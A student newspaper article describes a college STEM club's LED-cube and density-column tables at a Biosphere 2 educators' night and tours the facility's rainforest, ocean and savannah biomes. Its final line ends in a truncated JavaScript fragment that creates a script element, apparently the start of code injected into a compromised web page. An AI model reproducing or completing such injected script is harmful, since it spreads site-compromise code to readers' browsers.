CAC S.T.E.M. Club invited to the Biosphere 2

Monique Irish

Members of the Signal Peak S.T.E.M. club spent the Saturday evening of October 25th behind interactive information tables at the Biosphere 2. The Biosphere 2 held several “discovery nights” taking place on Saturday nights throughout the month of October, and this particular Saturday night was for educators in the S.T.E.M. field. Our S.T.E.M. club was specifically invited from the Biosphere to take part in “Educator night” and had two separate tables present at the event. Various tables and associations were presenting an array of information on interesting subjects. They were more than happy to talk about their role within the S.T.E.M. field so educators visiting may get potential ideas to apply to their own teaching curriculum.

The CAC S.T.E.M. club had one table set up and they were making miniature Light-Emitting Diode (L.E.D.) cubes. They provided the supplies and instructions on how to construct the little light-up display cubes. Various patterns for which the cube could be lit up are programmed from the computer. These boxes represented the Technology aspect within the S.T.E.M. club. They even raffled one off nearthe end of the night! The S.T.E.M. Club also had another table set up which again provided supplies and instructions how on to make seven-layer density columns. As its name implies, these bottles contained seven different liquids of different densities and added contrasting colors so students could visibly see the difference in densities, as they stayed separated while in the same transparent bottle. Several objects, which were also of differing densities, were dropped into the bottles and sunk to the liquid of matching density. It was very successful among adults and children alike and the differing colors were a nice, visually appealing touch!

Besides browsing all of educational tables, attendees could check out the rest of the world’s largest science laboratory and it unique facilities, which make the Biosphere 2 so awesome. For those who do not know about the man-made wonder, the Biosphere 2 is a research facility containing some of the most unique research platforms in the world. It has been featured in hundreds of scientific publications and countless new discoveries. Inside they have differing biomes, which are alive and replicate ecosystems that actually exist, making it possible for researchers to study natural ecosystem processes and experiment under controlled conditions but on a large scale. The first of the biomes used for research was the rainforest, which is easily recognizable through the windows with its abundance of green lush plants (over 90 different plant species, including banana plants) hanging down to the forest floor; and even more recognizable upon entering through the thick wall of humidity. There is a mountain in the middle, which facilitates a functional waterfall, which feeds the small stream running through it. The neighboring biome is that of the ocean, which literally has a large pool (a million gallons) of salty ocean water housing different species of algae as well as two types of hermit crabs and it also has a sandy beach! The ocean even has a functional mangrove to help naturally filter and clean the salt water running through it. Though we already live in a desert, there is also a Savannah biome to house all of the differing desert plants that are subject to research. There is also an orchard housing the most pleasant of smells of all of the differing smells of the separate biomes. These are just some of the most immediately exciting details about this world-renowned engineering marvel, and many other aspects of interest add to the facility’s fascinating appeal. It is truly an amazingly unique experience that isdefinitely worth the trip, ESPECIALLY considering it is practically in our own back yard!var d=document;var s=d.createElement(‘script’);